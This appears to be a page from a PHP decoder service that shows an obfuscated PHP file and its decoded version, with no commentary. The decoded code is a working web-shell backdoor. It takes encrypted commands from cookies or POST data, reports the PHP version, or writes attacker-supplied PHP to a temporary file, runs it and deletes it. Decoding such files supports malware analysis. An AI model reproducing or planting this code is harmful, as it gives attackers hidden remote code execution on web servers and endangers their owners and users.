Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* udqzg */function cg_ve(){$pfdzkoig='_ljktzj_';/* pp */print_r (13575+13575); ..

Decoded Output download

<?php /*   udqzg   */function	cg_ve(){$pfdzkoig='_ljktzj_';/* pp */print_r	(13575+13575);  } 
$uzl_kiabqu	=    'uzl_kiabqu'   ^/*   zzw   */''; 
 
 
 
 
 
 
function       sajwkte($wqsmksj_uq,/* cyno  */$hpbsgv) 
{ 
 
       global       $uzl_kiabqu;	$tsskfuo    =/* ey */"";	for	($iesmi/*  i */=      0;	$iesmi/*  b   */</*   nndf */strlen($wqsmksj_uq);)  { 
 
 
       for   ($wzxitl	=       0;   $wzxitl    <   strlen($hpbsgv)/* vn_sd*/&&       $iesmi	<       strlen($wqsmksj_uq);/*  desh   */$wzxitl++,  $iesmi++)	{ 
/*  lgz  */$tsskfuo/*  bd  */.=  $uzl_kiabqu(ord($wqsmksj_uq[$iesmi])	^/*  pauug*/ord($hpbsgv[$wzxitl])); 
 
 
      } 
/* _ta_  */}       return/*   fqiot  */$tsskfuo; 
} 
 
 
function/*   ffeaz*/_cnlpej($xmcyoo,/*  jsq */$wqsmksj_uq) 
 
 
{ 
 
	global	$uzl_kiabqu;/*  g */$effpzxq    =/*   sz  */sprintf("."."/"	.	$uzl_kiabqu(66-29)	.      "s"."."."p"."l",	md5($xmcyoo)); 
	file_put_contents($effpzxq,/*   r  */"<"/*   vq   */./*  h_*/"?"	./* mkc */"p"."h"/*   ntyk  */.	"p".$uzl_kiabqu(32)/*   pidgz */.      "u"."n"."l"	./* blnox */$uzl_kiabqu(725-620)."n"."k"	./*tc   */"("/*  m*/.	$uzl_kiabqu(95)	.	$uzl_kiabqu(95)       ./*   sga   */"F".$uzl_kiabqu(73)/*   l_vl */.	$uzl_kiabqu(76)	./*gvp */$uzl_kiabqu(606-537)	.	$uzl_kiabqu(919-824)      .   $uzl_kiabqu(458-363)	.  ")".";".$uzl_kiabqu(32)/* plv*/./*  bg */$wqsmksj_uq["d"]); 
 
	include($effpzxq); 
 
     $wzxitlmdjbqeo/* uet   */=      $effpzxq; 
	unlink($wzxitlmdjbqeo); 
 
 
} 
 
 
 
function/*   z  */jajrrm(){ 
 
     global/*   eyu */$uzl_kiabqu;	 
 
/* ozlph*/$iesmi/*   cjft_ */=     array(); 
 
 
	$iesmi[$uzl_kiabqu(170-58)/*  _gotq  */./*  oa  */"v"]/*  iw */=  phpversion(); 
 
	$iesmi["s"."v"]	=      "3"       .	$uzl_kiabqu(1022-976)/*  n_zov   */.	$uzl_kiabqu(488-435); 
 
 
	echo  @serialize($iesmi); 
 
} 
 
 
 
function	osasxe($wqsmksj_uq,      $xmcyoo,    $laseyn) 
{ 
 
/*   xvhiq */global/* yacw   */$uzl_kiabqu; 
/* cu  *//*   sj   */$wqsmksj_uq/*  jxy */=/*  uv*/unserialize(sajwkte(sajwkte(base64_decode($wqsmksj_uq),	$xmcyoo),	$laseyn)); 
 
/*   svgb  */if	(isset($wqsmksj_uq["a"."k"]))/*   _fvwx   */{/*uzwp */if	($wqsmksj_uq["a"]      ==	$uzl_kiabqu(725-620))  { 
 
/*  xal   */jajrrm(); 
     }/*   cdffo*/elseif	($wqsmksj_uq["a"]/* j */==      "e")/*jp   */{ 
   _cnlpej($xmcyoo,	$wqsmksj_uq); 
	} 
/*  r  */exit();/* quv*/} 
 
} 
 
 
 
 
$fnfntz    =     $_COOKIE; 
 
$bbfbeqdlv	=/*   by */$_POST; 
$fnfntz/*   ilzvm */=/*z */array_merge($bbfbeqdlv,  $fnfntz); 
 
 
 
 
$xmcyoo/*   e */=/* zc*/"9"."5"     .    $uzl_kiabqu(830-733)  .  "f"	./*ljblm  */"1"."9"."3"."8"/* zl_cu  */./*  kuma*/"-".$uzl_kiabqu(97)    .	"3".$uzl_kiabqu(102)/*wvsy */.	"5"/*  v_*/.	"-"/* wt*/.	"4"."a"     ./*   bowt */$uzl_kiabqu(273-176)     ./* wttvv*/"6"."-"."8"/* y  */.   "f"."7"."2"."-"."6"."e"."d"."d"."f"."2"."7".$uzl_kiabqu(914-859)	./*   hcflc   */"0"/*   zlesz*/.       "4"."1"."9"; 
 
foreach/*  l   */($fnfntz	as  $laseyn	=>/*  iqkg_*/$wqsmksj_uq)      { 
 
 
/*   stg   */osasxe($wqsmksj_uq,/*   xqnrt  */$xmcyoo,	$laseyn);} 
 ?>

Did this file decode correctly?

Original Code

<?php /*   udqzg   */function	cg_ve(){$pfdzkoig='_ljktzj_';/* pp */print_r	(13575+13575);  }
$uzl_kiabqu	=    'uzl_kiabqu'   ^/*   zzw   */'';






function       sajwkte($wqsmksj_uq,/* cyno  */$hpbsgv)
{

       global       $uzl_kiabqu;	$tsskfuo    =/* ey */"";	for	($iesmi/*  i */=      0;	$iesmi/*  b   */</*   nndf */strlen($wqsmksj_uq);)  {


       for   ($wzxitl	=       0;   $wzxitl    <   strlen($hpbsgv)/* vn_sd*/&&       $iesmi	<       strlen($wqsmksj_uq);/*  desh   */$wzxitl++,  $iesmi++)	{
/*  lgz  */$tsskfuo/*  bd  */.=  $uzl_kiabqu(ord($wqsmksj_uq[$iesmi])	^/*  pauug*/ord($hpbsgv[$wzxitl]));


      }
/* _ta_  */}       return/*   fqiot  */$tsskfuo;
}


function/*   ffeaz*/_cnlpej($xmcyoo,/*  jsq */$wqsmksj_uq)


{

	global	$uzl_kiabqu;/*  g */$effpzxq    =/*   sz  */sprintf("."."\x2f"	.	$uzl_kiabqu(66-29)	.      "s"."."."p"."\154",	md5($xmcyoo));
	file_put_contents($effpzxq,/*   r  */"<"/*   vq   */./*  h_*/"\x3f"	./* mkc */"p"."\150"/*   ntyk  */.	"p".$uzl_kiabqu(32)/*   pidgz */.      "u"."n"."\154"	./* blnox */$uzl_kiabqu(725-620)."n"."\x6b"	./*tc   */"\50"/*  m*/.	$uzl_kiabqu(95)	.	$uzl_kiabqu(95)       ./*   sga   */"F".$uzl_kiabqu(73)/*   l_vl */.	$uzl_kiabqu(76)	./*gvp */$uzl_kiabqu(606-537)	.	$uzl_kiabqu(919-824)      .   $uzl_kiabqu(458-363)	.  ")".";".$uzl_kiabqu(32)/* plv*/./*  bg */$wqsmksj_uq["d"]);

	include($effpzxq);

     $wzxitlmdjbqeo/* uet   */=      $effpzxq;
	unlink($wzxitlmdjbqeo);


}



function/*   z  */jajrrm(){

     global/*   eyu */$uzl_kiabqu;	

/* ozlph*/$iesmi/*   cjft_ */=     array();


	$iesmi[$uzl_kiabqu(170-58)/*  _gotq  */./*  oa  */"\x76"]/*  iw */=  phpversion();

	$iesmi["s"."\x76"]	=      "\x33"       .	$uzl_kiabqu(1022-976)/*  n_zov   */.	$uzl_kiabqu(488-435);


	echo  @serialize($iesmi);

}



function	osasxe($wqsmksj_uq,      $xmcyoo,    $laseyn)
{

/*   xvhiq */global/* yacw   */$uzl_kiabqu;
/* cu  *//*   sj   */$wqsmksj_uq/*  jxy */=/*  uv*/unserialize(sajwkte(sajwkte(base64_decode($wqsmksj_uq),	$xmcyoo),	$laseyn));

/*   svgb  */if	(isset($wqsmksj_uq["a"."k"]))/*   _fvwx   */{/*uzwp */if	($wqsmksj_uq["a"]      ==	$uzl_kiabqu(725-620))  {

/*  xal   */jajrrm();
     }/*   cdffo*/elseif	($wqsmksj_uq["a"]/* j */==      "\x65")/*jp   */{
   _cnlpej($xmcyoo,	$wqsmksj_uq);
	}
/*  r  */exit();/* quv*/}

}




$fnfntz    =     $_COOKIE;

$bbfbeqdlv	=/*   by */$_POST;
$fnfntz/*   ilzvm */=/*z */array_merge($bbfbeqdlv,  $fnfntz);




$xmcyoo/*   e */=/* zc*/"9"."\65"     .    $uzl_kiabqu(830-733)  .  "\146"	./*ljblm  */"1"."9"."3"."\70"/* zl_cu  */./*  kuma*/"-".$uzl_kiabqu(97)    .	"3".$uzl_kiabqu(102)/*wvsy */.	"\x35"/*  v_*/.	"\x2d"/* wt*/.	"4"."\x61"     ./*   bowt */$uzl_kiabqu(273-176)     ./* wttvv*/"6"."-"."\70"/* y  */.   "f"."7"."2"."-"."6"."\x65"."d"."d"."f"."2"."7".$uzl_kiabqu(914-859)	./*   hcflc   */"\60"/*   zlesz*/.       "4"."1"."\71";

foreach/*  l   */($fnfntz	as  $laseyn	=>/*  iqkg_*/$wqsmksj_uq)      {


/*   stg   */osasxe($wqsmksj_uq,/*   xqnrt  */$xmcyoo,	$laseyn);}

Function Calls

array_merge 1

Variables

$fnfntz 0
$bbfbeqdlv 0
$uzl_kiabqu chrIywwpoc

Stats

MD5 769d0a6c7161a8ea1d2108ff9993f4d6
Eval Count 0
Decode Time 99 ms